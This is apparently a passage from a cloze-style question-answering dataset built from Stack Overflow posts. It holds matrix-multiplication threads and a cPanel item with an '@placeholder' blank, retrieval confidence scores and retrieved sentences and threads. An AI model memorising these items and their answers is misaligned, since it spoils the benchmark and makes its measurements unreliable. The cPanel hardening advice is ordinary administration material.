independent dependency chains so you can make better use of the throughput . Also a really simple trick is using FMA for the mul add combo but support is not that widespread yet . You can build matrix-matrix multiplication from this if you change the place the result goes but that is not optimal .", "Question : I have a program that I created the result is not appropriate I want to do multiplication between rows of numbers -1 -1 -1 and 1 2 -1 .. . .. . then the results are summed .. . .. . please solution for multiplication min - .. . .. . enter image description here http : i.stack.imgur.com qTtcW.jpg Comment : Put your code in the question Comment : Please post the code as text . stackoverflow.com help mcve http : stackoverflow.com help mcve .. . Answer : It s not clear what you expect the user to enter in TextBox1 you seem to expect each number to be only one character but you example includes numbers with more than one character such as -1 . The following code expects the user to enter three integers separated by spaces in TextBox1 . Note that it might make more sense to have a separate TextBox for each number .", "Question : I m fairly new to MATLAB . Normal matrix-multiplication of a M x K matrix by an K x N matrix -- C A B -- has c ij sum a ik b kj k 1 : K . What if I want this to be instead c ij sum op a ik b kj k 1 : K for some simple binary operation op Is there any nice way to vectorize this in MATLAB or maybe even a built-in function EDIT : This is currently the best I can do . Comment : Did any of the solutions listed here work for you .. . Answer : Depending on your specific needs you may be able to use bsxfun in 3D to trick the binary operator . See this answer for more infos : http : stackoverflow.com a 23808285 1121352 Another alternative would be to use cellfun with a custom function : http : matlabgeeks.com tips-tutorials computation-using-cellfun Comment : Thanks for getting my attention to this problem Comment : @Divakar Thank s to you for your great answers If you are interested by another similar challenge I have posted a question about Generalized Matrix Multiplication the goal being to go further in the optimization : stackoverflow.com questions 24245225 http : stackoverflow.com questions 24245225 matlab-generalized-matrix-multiplication", "Question : I have the methods that do both the multiplication and addition but I m just not able to get my head around them . Both of them are from external websites and not my own : .. . .. . I tried doing a step-by-step debug but it really didn t make much sense to me though it works . What I m possibly looking for is to try and understand how this works the mathematical basis perhaps . Edit : This is not homework I m just trying to learn bitwise operations in Java . Comment : The multiplication one is very much the same as the pen-and-paper algorithm your learned in middle school only in binary . It uses the fact that 001011 X 001000 X + 000010 X + 000001 X . .. . Answer : It looks like your problem is not java but just calculating with binary numbers . Start of simple : all numbers binary : .. . .. . Ok.. . You see that you can add two one digit numbers using the xor operation . With an and you can now find out whether you have a carry bit which is very similar to adding numbers with pen paper . Up to this point you have something called a Half-Adder . When you add the next two bits then you also need to add the carry bit to those two digits . Taking this into account you can get a Full-Adder . You can read about the concepts of Half-Adders and Full-Adders on Wikipedia : http : en.wikipedia.org wiki Adder electronics And many more places on the web . I hope that gives you a start . With multiplication it is very similar by the way . Just remember how you did multiplying with pen paper in elementary school . Thats what is happening here . Just that it s happening with binary numbers and not with decimal numbers . Comment : Thanks that helped .", "Question : This question already has an answer here : .. . .. . Efficient computation of the high order bits of a multiplication questions 1396942 efficient-computation-of-the-high-order-bits-of-a-multiplication 3 answers .. . .. . In C++ say that : .. . .. . then i j will yield an uint64 t that has as value the lower part of the multiplication between i and j i.e . i j mod 2 64 . Now what if I wanted the higher part of the multiplication I know that there exists an assembly instruction do to something like that when using 32-bit integers but I am not familiar at all with assembly so I was hoping for help . What is the most efficient way to make something like : Comment : Reference : blogs.msdn.com b oldnewthing archive 2014 12 08 10578956.aspx http : blogs.msdn.com b oldnewthing archive 2014 12 08 10578956.aspx Comment : @MatteoMonti It is not feasible to compute higher part without lower part because the carry from lower part propagates to the higher part . Comment : stackoverflow.com questions 25095741 http : stackoverflow.com questions 25095741 how-can-i-multiply-64-bit-operands-and-get-128-bit-result-portably stackoverflow.com questions 28766755 http : stackoverflow.com questions 28766755 compute-the-doubleword-product-signed-of-two-words-given-the-lower-word-produc lq 1 stackoverflow.com questions 87771 http : stackoverflow.com questions 87771 how-can-i-multiply-two-64-bit-numbers-using-x86-assembly-language stackoverflow.com questions 28807341 http : stackoverflow.com questions 28807341 simd-signed-with-unsigned-multiplication-for-64-bit-64-bit-to-128-bit comment45891221 28807341 Comment : There is int128 in gcc https : gcc.gnu.org onlinedocs gcc 005f 005fint128.html as well as llvm including Apple Clang http : stackoverflow.com a 16448877 995714 . stackoverflow.com questions 13187629 http : stackoverflow.com questions 13187629 gcc-intrinsic-for-extended-division-multiplication Comment : Some more high bits of long multiplication in Java http : stackoverflow.com questions 18859207 high-bits-of-long-multiplication-in-java Computing high 64 bits of a 64x64 int product in C http : stackoverflow.com questions 1541426 computing-high-64-bits-of-a-64x64-int-product-in-c Reasonably portable way to get top 64-bits from 64x64 bit multiply http : stackoverflow.com questions 26852435 reasonably-portable-way-to-get-top-64-bits-from-64x64-bit-multiply Pure high-bit multiplication in assembly http : stackoverflow.com questions 10478253 pure-high-bit-multiplication-in-assembly .. . Answer : If you re using gcc and the version you have supports 128 bit numbers try using uint128 t than performing the 128 multiply and extracting the upper 64 bits is likely to be the most efficient way of getting the result . If your compiler doesn t support 128 bit numbers then Yakk s answer is correct . However it may be too brief for general consumption . In particular an actual implementation has to be careful of overflowing 64 bit integars . The simple and portable solution he proposes is to break each of a and b into 2 32-bit numbers and then multiply those 32-bit numbers using the 64 bit multiply operation . If we write : .. . .. . then it is obvious that : .. . .. . and : .. . .. . provided the calculation is performed using 128 bit or greater arithmetic . But this problem requires that we perform all the calculcations using 64 bit arithmetic so we have to worry about overflow . Since a hi a lo b hi and b lo are all unsigned 32-bit numbers their product will fit in an unsigned 64 bit number without overflow . However the intermediate results of the above calculation will not . The following code will implement mulhi a b when the mathemetics must be performed modulo 2 64 : .. . .. . As Yakk points out if you don t mind being off by +1 in the upper 64 bits you can omit the calculation of the carry bit .", "Question : First of all I am aware that to turn a unitless value into one with a unit I can multiply a unitless value by a single unit : .. . .. . However I would like to know if there is any way to do this when the unit is dynamic . Obviously if I was to make the value of unit 1rem I could just multiply as in my first example but is there a way to do this with a naked unit value . Sassmeister here http : sassmeister.com gist f1f76837e7e342e4f556 .. . .. . Edit As @zessx correctly states CSS doesn t care about the type and will treat both string and number values identically in this case . However I need to perform operations on the value once the unit has been appended . Edit I m not sure how I can be any clearer . I don t want need a function that uses multiplication under the hood . I already know how that works and how to do it . I am interested if there is a way to take a unitless value and a unit and make a united number out of it . Is there a a way to take px and 22 and make 22px that is a number and can have mathematical operations performed on it Any answer that shows me how I can take 1px and 22 and do the same thing is not answering the question I m asking . Comment : Due that you ve used interpolation in the united-value the type of this variable is a string but you can t use the unitless sass function with a string . So the only way to achieve your goal is to set unit to 1rem . Why don t you want to set unit to 1rem Check out this sassmeister http : sassmeister.com gist 4fa18d1d5f86bcb95411 Comment : @AlexGuerrero This is part of a much bigger library that uses a lot of validations and dynamic interpolations . As I think I made clear I don t want to multiply . I currently need two lists - one of plain units and one of single value units . I m trying to remove the need for the second list . Comment : You haven t made it clear as to why it is unacceptable that multiplication is involved . As it stands this is something you ll need to take up with the maintainers of Sass . You know what they ll tell you Please . Just use unit based arithmetic https : github.com sass sass issues 533 . Comment : @cimmanon What has the context got to do with anything I ve deliberately removed all context from the question to make it simple . If the answer is that you can t do it then that s the answer . Comment : @Pedr And you ve failed to explain why multiplication is unacceptable . .. . Answer : Even if united-value looks like a united number it s no more than a string as Sass can t differentiate rem string from rem unit . Luckily this string will be interpreted by any CSS engine . You can check it with type-of : .. . .. . AFAIK the only way to cast a string as rem is effectively to use 1 rem . EDIT : .. . As mentioned by Alex Guerrero Hugo Giraudel built a function to cast a string into a number you should really have a look on it blog http : hugogiraudel.com 2014 01 15 sass-string-to-number . The good thing with it is that you can simply write this : Comment : Thanks . But unfortunately my use-case requires I perform multiplication on the value after I have appended the unit . If I was just outputting the value you re correct . CSS doesn t care . Unfortunately the Sass compiler does care . Comment : Not sure to understand . Using this number function you ve got a real united number like you were manually defining it . This means you multiply it : value : number value + unit 5 Comment : The number function just uses multiplication under the hood . It doesn t take 1 . A unitless number and 2 . A unit and combine them into a workable number . Comment : That s exactly what does the length function in this example . Sure it still uses multiplication but you ve got a generic function for every unit supported by Sass which should be enough for you as there s no native and clean way to cast a string into a number in Sass . Comment : It takes 1 . A unitless number and 2 . A united number with a value of one . This is not the same thing .", "Question : I have written programs in C++ Python and Java for matrix-multiplication and tested their speed for multiplying two 2000 x 2000 matrices see post http : martin-thoma.com matrix-multiplication-python-java-cpp . The standard ikj-implentation - which is in enter image description here http : i.stack.imgur.com 4gTCr.png - took : .. . .. . C++ : 15 seconds Source https : github.com MartinThoma matrix-multiplication blob master C++ ikj-algorithm.cpp .. . Python : 6 minutes 13 seconds Source https : github.com MartinThoma matrix-multiplication blob master Python psyco-ikj-multiplication.py .. . .. . Now I have implemented the Strassen algorithm for matrix-multiplication http : en.wikipedia.org wiki Strassen algorithm Source code of the Strassen algorithm in C language - which is in enter image description here http : i.stack.imgur.com TfUHC.png - in Python and C++ as it was on wikipedia . These are the times I ve got : .. . .. . C++ : 45 minutes Source https : github.com MartinThoma matrix-multiplication blob master C++ strassen.cpp .. . Python : Killed after 10 hours Source https : github.com MartinThoma matrix-multiplication blob master Python strassen-algorithm.py .. . .. . Why is Strassen matrix-multiplication so much slower than standard matrix-multiplication .. . .. . .. . .. . Some cache effects .. . Implementation : .. . error the resulting 2000 x 2000 matrix is correct .. . null-multiplication shouldn t be that important for 2000 x 2000 - 2048 x 2048 .. . .. . .. . .. . This is especially astonishing as it seems to contradict the experiences of others : .. . .. . Why is my Strassen Matrix multiplier so fast http : stackoverflow.com q 7827737 562769 .. . Matrix multiplication : Strassen vs . Standard http : stackoverflow.com q 4304600 562769 - Strassen was also slower for him but it was at least in the same order of magnitude . .. . .. . edit : The reason why Strassen matrix-multiplication was slower in my case were : .. . .. . I made it fully recursive see tam .. . I had two functions strassen and strassenRecursive . The first one resized the matrix to a power of two if required and called the second one . But strassenRecursive didn t recursively call itself but strassen . Comment : Haven t checked it but there are a lot of new vectors being allocated . I imagine the memory allocation times are what is killing it . Comment : Voo s answer basically covers the memory allocation issue as well since stopping the recursion sooner will reduce the number of allocations . BTW : On my computer I found a good value to be around 250 for the cutoff . Comment : By the way your posted source can t be experimented with by anybody because you don t post the data file . This means that nobody can do anything except speculate . Comment : @DeadMG : actually the data file is there just up a couple of levels in the Testing directory . .. . Answer : The basic problem is that you re recursing down to a leaf size of 1 with your strassen implementaiton . Strassen s algorithm has a better Big O complexity but constants do matter in reality which means in reality you re better off with a standard n 3 matrix-multiplication for smaller problem sizes . So to greatly improve your program instead of doing : .. . .. . use if tam LEAF SIZE iterative solution here . LEAF SIZE should be a constant that you have to experimentally determine for your given architecture . Depending on the architecture it may be larger or smaller - there are architectures where the constant factors for strassen are so large that it s basically always worse than a simpler n 3 implementation for sensible matrix sizes . It all depends . Comment : +1 Beat me just as I was about to starting writing it up . Comment : @Mysticial Ah it s better so your time is better spent answering questions that mere humans will find hard to answer Comment : You were right . I ve added LEAF SIZE in this script : github.com MartinThoma matrix-multiplication blob master https : github.com MartinThoma matrix-multiplication blob master C 2B 2B strassen-mixed.cpp . For Leaf size 10 the time dropped to 66.50 seconds for 20 to 29.96 seconds and for 50 to 18.80 seconds . How can I better more structured automatically test for good values of LEAF SIZE than changing the value in the code recompiling testing and trying other ones Do you know an easy possibility to graph it Should I ask another question as this seems to go in another direction than my previous one Comment : @moose Well make the program take the leaf size as an input parameter . Personally I do the following then : For every leaf size run the program ten times more is better but 10 is somewhat accurate and store all values in a text file 64.txt 128.txt etc - that s a shell script job obviously . Afterwards use a simple script I like python that takes the runtimes throws away the 2 fastest slowest and computes the average of the rest and outputs that data as CSV . And a CSV has the great advantage that excel openoffice and co can all read it and generate nice graphs with two clicks . Comment : Thanks for your help . I ve just plotted the results : cloud.github.com downloads MartinThoma matrix-multiplication http : cloud.github.com downloads MartinThoma matrix-multiplication charts.pdf", "Question : This question already has an answer here : .. . .. . How to multiply two rows or columns questions 14764534 how-to-multiply-two-rows-or-columns 2 answers .. . .. . Why cannot multiply two matrices of same dimensions 1x3 : .. . Answer : is the matrix-multiplication operator so if A is an n -by- m matrix and B is an x -by- y matrix for .. . .. . to be valid you need the inner dimension to match in size thus m must equal x . Or said another way the number of columns of A in your case 3 must equal the number of columns of B in your case 1 . Some solutions : .. . .. . You wanted the inner product https : www.wikiwand.com en Dot product : .. . .. . or the outer product https : www.wikiwand.com en Outer product : .. . .. . Or else you wanted the element-wise multiplication i.e . multiply each element with it s corresponding element assuming the two matrices have the identical size which is the . operator :", "Question : I am making some benchmarks with CUDA C++ C and Java and using MATLAB for verification and matrix generation . But when I multiply with MATLAB 2048x2048 and even bigger matrices are almost instantly multiplied . Only CUDA is competitive but I thought that at least C++ will be somewhat close and not 60x slower . So my question is - How is MATLAB doing it that fast C++ Code : .. . .. . Edit : I also dont know what to think about the C results . The algorithm is just the same as C++ and Java but there s a giant jump 2048 from 1024 Edit2 : Updated MATLAB and 4096x4096 results Comment : Probably its a question of which algorithm you use . Comment : Make sure Matlab isn t caching you result it s a tricky beast . First ensure the calculation is actually being performed and then compare . Comment : LAPACK and vectorisation . mathworks.com company newsletters news notes clevescorner http : www.mathworks.com company newsletters news notes clevescorner winter2000.cleve.html Comment : Algorithm classic matrix-multiplication through 3 for loops matlab results looks fine not exact but very close when using floats but I think thats because number rounding in languages . Comment : I actually do think that this post is really interesting but I would really like to see more appropriate benchmarks . For example I think that Matlab R2011a is using multithreading automatically and matrix multiplications are implemented using Intel s mkl blas library . Thus I would guess that c++ is faster if one used an mkl call to do the matrix-multiplication . The question would then be what Matlab s overhead is . I know that this depends on additional details of the matrix-multiplication but the above numbers are pretty meaningless right now . .. . Answer : When doing matrix multiplying you use naive multiplication method which takes time of O n 3 . There exist matrix-multiplication algorithm which takes O n 2.4 . Which means that at n 2000 your algorithm requires 100 times as much computation as the best algorithm . You should really check the wikipedia page for matrix-multiplication for further information on the efficient ways to implement it . Comment : and MATLAB probably use such an algorithm since the time for 1024 1024 matrix multiply is smaller than 8 times the time for 2048 2048 matrix-multiplication Well done MATLAB guys . Comment : I rather doubt they use the efficient multiplication algorithms despite their theoretical advantages . Even Strassen s algorithm has implementation difficulties and the Coppersmith Winograd algorithm that you have probably read about just plain isn t practical right now . Also related SO thread : stackoverflow.com questions 17716565 http : stackoverflow.com questions 17716565 matrix-multiplication-time-complexity-in-matlab", "Question : Does Matlab have a Boolean sometimes called logical or binary matrix-multiplication function I m specifically talking about what s usually denoted by a circle with a dot in it to denote Boolean matrix-multiplication : .. . .. . I have had a hard time locating one and am now assuming one does not exist . If that is the case is there a quick way to write a .m file that will accomplish this task An example would be : .. . Answer : Matrix multiplication is a series of multiply-and-add operations . If the inputs are all ones and zeros the result-of such an operation will be zero or greater than zero . So setting every value 0 to 1 in the product will solve your issue . Example : .. . .. . booleanResult result 0 .. . .. . Or .. . .. . booleanResult logical result .. . .. . I am sure you can think of others . Comment : Very good point . Had I realized that to begin with I wouldn t have asked the question . Smart people here much appreciated . Comment : This is in fact the fastest way to perform the computation : a simple matrix-multiplication over two binary matrices . This is a lot faster than bsxfun by orders of magnitude .", "Question : There is a version of Strassen s algorithm for integer multiplication that uses a three-way split division of the n-bit number into 3 parts of n 3 bits and takes O n 1.46 . My question is why is this method not generally preferred to the usual one with 2 way split that uses O n 1.59 Any ideas or links that can help me understand I looked it up online but I couldn t find anything Comment : Strassen s multiplication is for matrces did you mean Sch nhage Strassen algorithm or modification of Karatsuba instead see this : stackoverflow.com q 18465326 2521214 http : stackoverflow.com q 18465326 2521214 the last edit5 contains most recent measurements and also the n tresholds for each method of multiplication squaring so you see what did Riko meant by n will not be big enough in practical usage .. . unless you are computing some cipher or math proof or up to-date PI number .. . Answer : That is because in practise the second one will be slower . O notation doesn t always correspond with real running speed . Example : .. . .. . O f n is better than O g n making f n faster while in practise n will never be large enough for us to prefer f n ." ] }
[]
scaling
UNK_RELATION
cpanel@web@164
cpanel -- cpanel is a linux based web-hosting control panel that provides a graphical interface and automation tools designed to simplify the process of hosting a @placeholder site .
{ "confidence": [ 62.452598571777344, 53.92729187011719, 50.524539947509766, 50.44807815551758, 49.900543212890625, 49.84999465942383, 48.399757385253906, 46.70913314819336, 45.735286712646484, 45.50710678100586, 45.06281280517578, 44.80360794067383, 44.80360794067383, 44.80360794067383, 43.042903900146484, 42.77513885498047, 42.542903900146484, 41.92995071411133, 41.75514602661133, 41.02001190185547, 40.79157257080078, 40.273887634277344, 40.17662811279297, 39.387184143066406, 39.387184143066406, 39.387184143066406, 39.387184143066406, 39.387184143066406, 39.05998229980469, 38.844486236572266, 38.472808837890625, 38.35914993286133, 38.349544525146484, 38.11985778808594, 38.10466003417969, 37.81378173828125, 37.68856430053711, 37.52817916870117, 37.33885955810547, 37.33885955810547, 37.33885955810547, 37.26970672607422, 37.26970672607422, 36.99102783203125, 36.99102783203125, 36.99102783203125, 36.99102783203125, 36.99102783203125, 36.99102783203125, 36.99102783203125, 36.906402587890625, 36.749820709228516, 36.749820709228516, 36.33631134033203, 36.028987884521484, 36.028987884521484, 36.028987884521484, 35.91391372680664, 35.86531448364258, 35.86531448364258, 35.86531448364258, 35.86531448364258, 35.86531448364258, 35.86531448364258, 35.86531448364258, 35.86531448364258, 35.810333251953125, 35.810333251953125, 35.80344772338867, 35.76545715332031, 35.62886428833008, 35.62886428833008, 35.56463623046875, 35.502010345458984, 35.502010345458984, 35.454986572265625, 35.454986572265625, 35.18345260620117, 34.94137954711914, 34.94137954711914, 34.93363571166992, 34.93363571166992, 34.93363571166992, 34.75054931640625, 34.405941009521484, 34.405941009521484, 34.405941009521484, 34.405941009521484, 34.405941009521484, 34.405941009521484, 34.405941009521484, 34.405941009521484, 34.405941009521484, 34.405941009521484, 34.405941009521484, 34.405941009521484, 33.9697151184082, 33.884700775146484 ], "content": [ "Linux hosting with Cpanel .", "We are using shared-hosting with cpanel .", "Access the cPanel for the new site .", "I use cPanel for hosting my website .", "I m using Elasticsearch in laravel-5.2 and I want to upload my site on a cpanel http : cpanel.com hosting.. . .. . .. . How can I use the elasticsearch in cpanel", "I have a dedicated-server with WHM cPanel and hosting multiple-domains on Linux .", "I have a dedicated hosting with WHM CPANEL .", "I could not find any documentation for this on my client s cpanel itself i dont have their hosting account only cpanel .", "By default Go Daddy s shared cPanel hosting is set to deliver local not remote .", "The same form was working fine with godaddy deluxe hosting but now that I have shifted to Godaddy CPanel linux hosting deluxe plan. . it doesnt work .", "Superbad for SEO .. . .. . If you are hosting for SEO and love the convenience of cPanel then forget hosting domains as addon domains .", "I had two domains on one hosting account managed by cpanel .", "I m on a shared-hosting account is this something I can do via CPanel", "I am new to the world of website hosting especially in cPanel platform .", "I have a dedicated web server based on cPanel .", "I d like to make the process easier for them by distributing the script via the Softaculous installer included on many cpanel hosting environments .", "Do you get full access to the cPanel control panel", "im using cpanel as panel .", "To connect to Cpanel to make this happen I entered a cpanel homepage URL which varies with hosting plan so that it could be parsed and reused .", "I m using Linux cPanel PHP .", "Directory before code : .. . .. . After running code on localhost : .. . .. . Same code running on hosting using cPanel :", "For CPanel :", "Your site xyz.com has not installed correctl SSL in Cpanel .", "For this cpanel has also created a sub-domain for main hosting domain example.main-domain.com .", "if you have only cPanel access then you need to contact your hosting provider to check your mission domain logs .", "I just cannot install Ruby on my CentOS which is also hosting a cPanel .", "I have 2 hosts with standard cPanel access both are on the same server shared-hosting .", "Can I make 4 VPS on these Servers and Cloud theme to use for cPanel Hosting", "OPTION THREE : Is it possible to export their parts of the site and import that to the other hosts cPanel", "One way you can do this is by having two cPanel hosting accounts : .. . .. . In case the hosting accounts are in different servers you should make an A record subdomain.domain.com pointing to the server that specific hosting account is created .", "I am on Centos linux with cPanel WHM", "In the same way CPanel generates MySQL tables the CPanel interface also generates MySQL user accounts .", "Went to PHP Process on cPanel and killed all the processes .", "Here are the some useful cPanel doc of web disk .", "Best way it s a Cpanel user-interface .", "This is in cPanel 11 .", "To myself log in to cpanel I will use the alternate URL provided by my Web Host which is something like a.myhost.com cpanel .", "I just cloned my Opencart 1.5.6.1 site with Softaculous in cPanel so I can make changes in the test site before applying it on the live site .", "I host the application on shared-hosting service that permits CRON jobs via cPanel .", "But when I use a similar command in the cron section of cPanel on my shared-hosting the task just returns the contents of index.php .", "I have installed cPanel WHM : The Hosting Platform of Choice on my ec2 micro instance .", "Cpanel is still installed on the server .", "What is your cPanel version", "Check var cpanel users USERNAME .. . .. . var cpanel users USERNAME .. . .. . 5 .", "I am only dealing with one CPANEL account not multiple cpanel accounts .", "Try using ftp.domain.com cpanel username cpanel password for FileZilla login credentials .", "usr local cpanel cpkeyclt Updating cPanel license...Done .", "You should update your server as this version of cPAnel is no longer supported by cPanel .", ".. . .. . The cPanel port can be changed in var cpanel cpanel.config file .", "Can t you use cpanel to put a redirect on the cpanel directory", "If not Kindly post the error-log which can be taken in cPanel or if you are using different solution ask your hosting provider on how to view error-log .", "The control panel is cPanel Pro 1.0 RC1 .. . .. . This is my Current cron command : .. . .. . But this does not seem to work at all .", "I have a control panel access and able to create email ids form cpanel .", "I provide general support at a small cPanel hosting service and part of my duties include doing frequent DB Exports in phpMyAdmin and also showing hosting customers how to export their databases from phpMyAdmin within their cPanel as a backup tool .", "I have a dedicated-server with cPanel hosting our custom backend system and multiple websites .", "I installed the cPanel WHM : The Hosting Platform of Choice AMI on AWS last night on a ec2 instance .", "I am hosting a website through Arvixe and using Sitepro builder and cPanel X which are provided by Arvixe .", "According to one cpanel hosting service http : www.dotservant.com cpaneldoc SSLShellTelnetaccess.htm command-prompt access is generally turned off for cpanel for security reasons and you have to ask for it specifically .", "Check your cpanel .", "I got cpanel access .", "But it is the same 2M as was before on cPanel .", "Changing default cPanel port .", "But really chill out on the cpanel .", "Hope it will also work for cpanel .", "In cPanel find the Databases section .", "cPanel account through WHM", "SO How to compare Mysql in Cpanel", "does this have to go through cpanel", "Your cPanel access information and your FTP information have little to do with MySQL--cPanel uses a MySQL root-authorized user to add databases and users and unless cPanel exposes an API to do it I don t think it does and I don t think anyone sane would enable it on their shared-hosting if they did .", "Is this in a cpanel context", "I am using cpanel xml api .", "I am learning to use PHP and the CPanel API .", "User also get the notification on new created email on cpanel after he registered to my WordPress site from the application .", "I am renting hosting and URL from a company hostgator which gives me cpanel as my default way of entering the website .", "I have 4 Dedicated server From 4 different country also I have WHM cPanel Hosting on Cloudlinux VPS .", "If I log in to cpanel using the old main domain by going to .. . .. . http : myprimarydomain.com cpanel or : 2082 or : 2083 .. . .. . I am able to get into cpanel .", "But even that didn t work and addondomain.com : 2082 and addondomain.com cpanel showed up the cpanel login and I was able to login there using cpanel username and password .", "I am trying to do a cron job with a site built-in CodeIgniter - I ve got access to the CPanel cron feature can anyone suggest the best way to setup a cron job using CPanel", "Can t connect to local MySQL server through socket tmp mysq .. . called at usr local cpanel Cpanel Mysql .", "Is there a script or easy way in cPanel to take the entire htdocs folder from MAMP and populate the cPanel with it resolving merge conflicts", "I m working on WHM Cpanel", "We are using litespeed+cpanel .", "Typical LAMP stack + cPanel .", "It depends on your host if this is allowed but here s how to do it if it is possible : inmotionhosting.com support edu cpanel cpanel-manage-domains http : www.inmotionhosting.com support edu cpanel cpanel-manage-domains modify-addon-domain-document-root", "Please give a try with cPanel API .", "You will not be able to configure this through cpanel .", "I have a big problem with cPanel .", ".. . .. . My reference : CPanel Version 56.0", "It s a Cpanel question and server question .", "This is a extremely old version of WHM cPanel .", "I use cPanel 11 x3 .", "Changing removing default cPanel URLs .", "And guess what they use CPanel too .", "We are using cPanel for our website .", "Please check following cPanel documentation .", "Are Cpanel user account or WHM root", "Although it seems CPanel does not support Django apps out of the box google results lead me to believe it might be possible using a more manual method http : server-support.co blog sysadmin django-on-cpanel-server-for-shared-web-hosting .", "The cPanel web server that I administrate has about 50 domains ." ] }
{ "confidence": [ 64.65592193603516, 64.28181457519531, 64.22523498535156, 63.47404098510742, 63.094783782958984, 62.60371017456055, 62.191688537597656, 61.38444519042969, 61.310569763183594, 61.132389068603516, 61.132389068603516, 60.13608932495117, 60.13608932495117, 59.33434295654297, 57.92435836791992, 57.09973907470703, 56.495819091796875, 56.393890380859375, 55.007572174072266, 54.535362243652344 ], "content": [ "Question : I use cPanel for hosting my website . I have noticed that if anyone who visits my website happens to be a web developer he can always reach my cPanel Login page via mydomain.com : 2082 mydomain.com cpanel etc. . It is better to not let the visitors know what control panel I use . I want to disable these URLs . To myself log in to cpanel I will use the alternate URL provided by my Web Host which is something like a.myhost.com cpanel . As a work around I also changed the main domain and added my main website as an addon domain . But even that didn t work and addondomain.com : 2082 and addondomain.com cpanel showed up the cpanel login and I was able to login there using cpanel username and password . Please help me hide these pages from the public world . At least addondomain.com : 2082 or addondomain.com cpanel should throw a 404 preferable or 403 or anything . I use cPanel 11 x3 . Even my hosting provider is not able to help me with this . Anybody who know anything about this or implemented this please help me . Thanks in advance... . .. . Answer : Login to WHM as root .. . Under server configuration .. . Click on Tweak settings .. . Click the Redirections tab .. . Check off button for Always redirect to SSL .. . save settings that will be done", "Question : null .. . Answer : I m currently using cPanel to host a website and using MAMP to make changes locally before pushing them back onto cPanel . Right now I have to go in and manually upload files one at a time to update the site . Is there a script or easy way in cPanel to take the entire htdocs folder from MAMP and populate the cPanel with it resolving merge conflicts Or is there another not-too-expensive hosting service that can do this Comment : IMO cPanel and MAMP are both nasty to work with . The real solution to this sort of thing is a development-environment and production environment that are similar with version-control and a well thought-out deployment process . Comment : I ended up using FTP that was the easiest way without installing a bunch of fancy new stuff . Comment : That question it s not a question for stackoverflow .", "Question : I had two domains on one hosting account managed by cpanel . During the second domain installation I opted to use root folder outside public html because the second site was going to have independent ftp administration not related to the one of the first domain at all . So I didn t want the files of the second site to be accessible in public html . That worked pretty well until the second domain expired and wasn t going to be renewed . However despite website isn t public already I want to have web access on it for testing and other purposes but it seems like cpanel doesn t allow subdomain directories outside public html . Is there a way to achieve that without having to migrate all subdomain files to public html and thus - making them accessible for the administrators on the main domain which is undesired Comment : Who is your host Comment : It is Bulgarian hosting provider Superhosting . Comment : It depends on your host if this is allowed but here s how to do it if it is possible : inmotionhosting.com support edu cpanel cpanel-manage-domains http : www.inmotionhosting.com support edu cpanel cpanel-manage-domains modify-addon-domain-document-root Comment : Isn t that for independent bought domain names If so it works for them . But I need to make a subdomain example : subdomain.maindomain.whatever extending the only remaining domain assigned to the account . Edit : Your example points public html as main folder too . .. . Answer : One way you can do this is by having two cPanel hosting accounts : .. . .. . In case the hosting accounts are in different servers you should make an A record subdomain.domain.com pointing to the server that specific hosting account is created . By doing that you will have two separated environments usernames passwords and databases will be different from each other . The hosting account domain.com won t be able to see the files and manage anything on subdomain.domain.com . The same applies vice-versa . Comment : That means purchasing another hosting plan I am tired of free web-hosting restrictions and inconveniences . The better cheaper way would be buying another domain-name .", "Question : I use cPanel for hosting my website . I have noticed that if anyone who visits my website happens to be a web developer he can always reach my cPanel Login page via mydomain.com : 2082 mydomain.com cpanel etc. . It is better to not let the visitors know what control panel I use . I want to disable these URLs . To myself log in to cpanel I will use the alternate URL provided by my Web Host which is something like a.myhost.com cpanel . As a work around I also changed the main domain and added my main website as an addon domain . But even that didn t work and addondomain.com : 2082 and addondomain.com cpanel showed up the cpanel login and I was able to login there using cpanel username and password . Please help me hide these pages from the public world . At least addondomain.com : 2082 or addondomain.com cpanel should throw a 404 preferable or 403 or anything . I use cPanel 11 x3 . Even my hosting provider is not able to help me with this . Anybody who know anything about this or implemented this please help me . Thanks in advance... . .. . Answer : Changing default cPanel port . .. . .. . The cPanel port can be changed in var cpanel cpanel.config file . Just change port 2082 located in the config file to anything else . Then running the following commands for the changes to take effect . Changing removing default cPanel URLs . .. . .. . For the whm and cpanel urls remove change these lines or similar matched lines located on the usr local apache conf httpd.conf file : .. . .. . Then run the following commands for the changes to take effect . Source and more info http : forums.cpanel.net f5 ask-rename-cpanel-whm-become-newname-226501.html post933932 Comment : What about shared-hosting They don t have whole access to filesystem", "Question : I use cPanel for hosting my website . I have noticed that if anyone who visits my website happens to be a web developer he can always reach my cPanel Login page via mydomain.com : 2082 mydomain.com cpanel etc. . It is better to not let the visitors know what control panel I use . I want to disable these URLs . To myself log in to cpanel I will use the alternate URL provided by my Web Host which is something like a.myhost.com cpanel . As a work around I also changed the main domain and added my main website as an addon domain . But even that didn t work and addondomain.com : 2082 and addondomain.com cpanel showed up the cpanel login and I was able to login there using cpanel username and password . Please help me hide these pages from the public world . At least addondomain.com : 2082 or addondomain.com cpanel should throw a 404 preferable or 403 or anything . I use cPanel 11 x3 . Even my hosting provider is not able to help me with this . Anybody who know anything about this or implemented this please help me . Thanks in advance... . .. . Answer : I guess you are in a shared-hosting environment . Your best shot is to use an htaccess file be careful the goal is to redirect any thing like : http : your-site.tld cpanel or to a http : your-site.tld but do not redirect http : your-provider.tld cpanle .. . .. . RedirectMatch 301 cpanel http : your-site.tld .. . .. . RewriteEngine On RewriteCond SERVER PORT 2082 RewriteRule . http : your-site.tld folder 1 L R .. . .. . As I said test carefully Comment : Thank you very much for your help but sorry to tell you it didn t work . It seems that URIs cpanel and : 2082 never reach the public html folder for .htaccess to work . As Lucanos said it is hard coded in cpanel and changing this is impossible . But Anyways Thanks for all of the help you extended .", "Question : I use cPanel for hosting my website . I have noticed that if anyone who visits my website happens to be a web developer he can always reach my cPanel Login page via mydomain.com : 2082 mydomain.com cpanel etc. . It is better to not let the visitors know what control panel I use . I want to disable these URLs . To myself log in to cpanel I will use the alternate URL provided by my Web Host which is something like a.myhost.com cpanel . As a work around I also changed the main domain and added my main website as an addon domain . But even that didn t work and addondomain.com : 2082 and addondomain.com cpanel showed up the cpanel login and I was able to login there using cpanel username and password . Please help me hide these pages from the public world . At least addondomain.com : 2082 or addondomain.com cpanel should throw a 404 preferable or 403 or anything . I use cPanel 11 x3 . Even my hosting provider is not able to help me with this . Anybody who know anything about this or implemented this please help me . Thanks in advance... . .. . Answer : If your hosting provider cannot help you with this then you re out of luck . Advisable to set a .htaccess rule to redirect cpanel to the homepage . For your .htaccess : .. . .. . or if it fails Comment : I m sorry. . Both didn t work.. . Please 